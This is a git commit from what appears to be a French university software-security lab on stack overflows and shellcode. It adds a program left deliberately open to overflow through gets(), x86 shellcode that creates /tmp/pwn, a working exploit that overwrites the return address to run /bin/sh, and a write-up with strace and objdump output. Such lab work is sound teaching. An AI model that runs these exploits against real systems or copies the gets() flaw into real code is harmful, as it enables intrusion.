Add TD5 q3 (first part)
This commit is contained in:
parent
72564e2e2d
commit
4f61441bb9
7 changed files with 229 additions and 0 deletions
|
|
@ -0,0 +1,44 @@
|
|||
# CC = gcc
|
||||
CFLAGS = -g -zexecstack
|
||||
SFLASG =
|
||||
SRC = $(wildcard *.c) $(wildcard *.s)
|
||||
TGT = $(subst .c,,$(subst. .S,,$(SRC)))
|
||||
BUILD_DIR = build
|
||||
DUMP_DIR = dump
|
||||
|
||||
|
||||
pframe:
|
||||
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
|
||||
tar -xf pframe.tgz &&\
|
||||
rm -rf pframe.tgz
|
||||
|
||||
.gdbinit:
|
||||
|
||||
configure: pframe .gdbinit
|
||||
$(shell echo "python import pframe" > .gdbinit)
|
||||
|
||||
$(BUILD_DIR)/%: %.c
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
$(BUILD_DIR)/%: %.S
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
$(CC) -g $< -o $@ -static -nostdlib
|
||||
|
||||
build: $(addprefix $(BUILD_DIR)/, $(TGT))
|
||||
|
||||
PHONY: gdb
|
||||
gdb: build/shellcode configure
|
||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
|
||||
setarch -R gdb ./$(BUILD_DIR)/shellcode
|
||||
|
||||
PHONY: opcode
|
||||
opcode: build/shellcode
|
||||
readelf -x .text build/shellcode | sed -e '$$ d' -e '1,2 d' \
|
||||
| awk '{$$1=$$6=""; print $$0}' \
|
||||
| tr -d '[ \n]' \
|
||||
| sed 's/../0x&,/g' > opcode.txt
|
||||
|
||||
PHONY: clean
|
||||
clean:
|
||||
@rm -rf $(BUILD_DIR) pframe .gdbinit opcode.txt
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
int litentier(void) {
|
||||
unsigned char buf[64];
|
||||
int i;
|
||||
printf("%p\n", buf);
|
||||
printf("> ");
|
||||
fflush(stdout);
|
||||
gets(buf);
|
||||
i=atoi(buf);
|
||||
return i;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
while (1) {
|
||||
int i;
|
||||
i = litentier();
|
||||
printf("ok %d\n", i);
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
int main() {
|
||||
unsigned char shellcode[] = {
|
||||
0xe8,0x09,0x00,0x00,0x00,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x00,
|
||||
0x5f,0x48,0xc7,0xc6,0xb6,0x01,0x00,0x00,0x48,0xc7,0xc0,0x55,0x00,0x00,
|
||||
0x00,0x0f,0x05,0xc3,0x48,0xc7,0xc7,0x2a,0x00,0x00,0x00,0x48,0xc7,0xc0,
|
||||
0x3c,0x00,0x00,0x00,0x0f,0x05
|
||||
};
|
||||
(*(void(*)()) shellcode)();
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,62 @@
|
|||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
unsigned char exploit[1024] = {
|
||||
0x90, 0x90, 0x90, 0x90, // A few nops for some margin
|
||||
0x90, 0x90, 0x90, 0x90,
|
||||
0x90, 0x90, 0x90, 0x90,
|
||||
0x90, 0x90, 0x90, 0x90,
|
||||
|
||||
#ifdef __x86_64__
|
||||
/* 64 bit version */
|
||||
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
|
||||
'/','b','i','n','/','s','h','\0',
|
||||
0x5f, // pop the address
|
||||
0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call
|
||||
0x6a, 0x00, // push NULL at the end of the array
|
||||
0x48, 0x89, 0xe2, // envp
|
||||
0x57, // push adress
|
||||
0x48, 0x89, 0xe6, // argv
|
||||
0x0f, 0x05, // system call!
|
||||
#else
|
||||
/* 32 bit version */
|
||||
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
|
||||
'/','b','i','n','/','s','h','\0',
|
||||
0x5b, // pop the adress
|
||||
0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call
|
||||
0x6a, 0x00, // push NULL at the end of the array
|
||||
0x89, 0xe2, // envp
|
||||
0x53, // push adress
|
||||
0x89, 0xe1, // argv
|
||||
0xcd, 0x80, // system call!
|
||||
#endif
|
||||
};
|
||||
|
||||
int main(void) {
|
||||
int i;
|
||||
void **exploit_ptr = (void*) &exploit;
|
||||
void *ptr;
|
||||
|
||||
fprintf(stderr,"Type the buf address printed by anodin\n");
|
||||
scanf("%p", &ptr);
|
||||
|
||||
// Un peu de marge
|
||||
ptr += 8;
|
||||
|
||||
// écraser l'adresse de retour
|
||||
for (i = 0; i < 8; i++)
|
||||
exploit_ptr[64/sizeof(void*)+i] = ptr;
|
||||
|
||||
for (i=0;i<sizeof(exploit);i++)
|
||||
putchar(exploit[i]);
|
||||
|
||||
for (i=0;i<8192;i++)
|
||||
putchar('\n');
|
||||
|
||||
printf("touch /tmp/ahah\n");
|
||||
printf("echo \"I created file\" /tmp/ahah \\!\n");
|
||||
fflush(stdout);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
.text
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
call pwnd
|
||||
.asciz "/tmp/pwn"
|
||||
|
||||
pwnd:
|
||||
# We are on x86_64, we must move 8 bytes up from stack pointer
|
||||
popq %rdi
|
||||
movq $0666, %rsi
|
||||
movq $85, %rax
|
||||
syscall
|
||||
ret
|
||||
|
||||
# exit(42)
|
||||
movq $42, %rdi
|
||||
movq $60, %rax
|
||||
syscall
|
||||
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
.data
|
||||
.globl filename
|
||||
filename:
|
||||
.asciz "/tmp/pwn"
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
# creat("/tmp/pwn", 0666)
|
||||
movq $0666, %rsi # read-write perms
|
||||
movq $filename, %rdi # name of file
|
||||
movq $85, %rax # system call number (sys_creat)
|
||||
syscall # call kernel
|
||||
|
||||
# exit(42)
|
||||
movq $42, %rdi # set return code to 42
|
||||
movq $60, %rax # system call number (sys_exit)
|
||||
syscall # call kernel
|
||||
|
|
@ -2,6 +2,9 @@
|
|||
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
||||
date: 2023-02-17
|
||||
tags: ["Assembleur", "x86"]
|
||||
author:
|
||||
- Yorick Barbanneau
|
||||
- Gwendal Aupee
|
||||
categories: ["Sécurité logicielle", "TD"]
|
||||
---
|
||||
|
||||
|
|
@ -142,3 +145,51 @@ diférentes parties sont délimitées par des crochets:
|
|||
Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
|
||||
mise en place des arguments de notre appel système dans les différents
|
||||
registres, notamment *0x3b* dans `rax`.
|
||||
|
||||
## question 3
|
||||
|
||||
Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons
|
||||
bien apparaitre les deux appels systèmes `creat` et `exit`:
|
||||
|
||||
```
|
||||
execve("./shellcode", ["./shellcode"], 0x7ffd7e08f160 /* 44 vars */) = 0
|
||||
creat("/tmp/pwn", 0666) = 3
|
||||
exit(42) = ?
|
||||
+++ exited with 42 +++
|
||||
```
|
||||
|
||||
L'exécution d'`objdumb -d -x` afin d'afficher les adresses des constantes nous
|
||||
permet de vois que c'est bien l'adresse de `filename` qui est placée dans `%rdi`
|
||||
avant d'appeler `creat` (appel système `0x55`).
|
||||
|
||||
```
|
||||
[...]
|
||||
SYMBOL TABLE:
|
||||
0000000000402000 g .data 0000000000000000 filename
|
||||
0000000000401000 g .text 0000000000000000 _start
|
||||
0000000000402009 g .data 0000000000000000 __bss_start
|
||||
0000000000402009 g .data 0000000000000000 _edata
|
||||
0000000000402010 g .data 0000000000000000 _end
|
||||
|
||||
Déassemblage de la section .text :
|
||||
|
||||
0000000000401000 <_start>:
|
||||
401000: 48 c7 c6 b6 01 00 00 mov $0x1b6,%rsi
|
||||
401007: 48 c7 c7 00 20 40 00 mov $0x402000,%rdi
|
||||
40100e: 48 c7 c0 55 00 00 00 mov $0x55,%rax
|
||||
401015: 0f 05 syscall
|
||||
401017: 48 c7 c7 2a 00 00 00 mov $0x2a,%rdi
|
||||
40101e: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
|
||||
401025: 0f 05 syscall
|
||||
```
|
||||
|
||||
Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes**
|
||||
avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt`
|
||||
prêt à importer dans notre code `C`.
|
||||
|
||||
Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0
|
||||
par `objdump`. Et en plus on évite les erreurs de saisie.
|
||||
|
||||
Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa
|
||||
compilation et son execution, le fichier `/tmp/pwn` est bien créé.
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue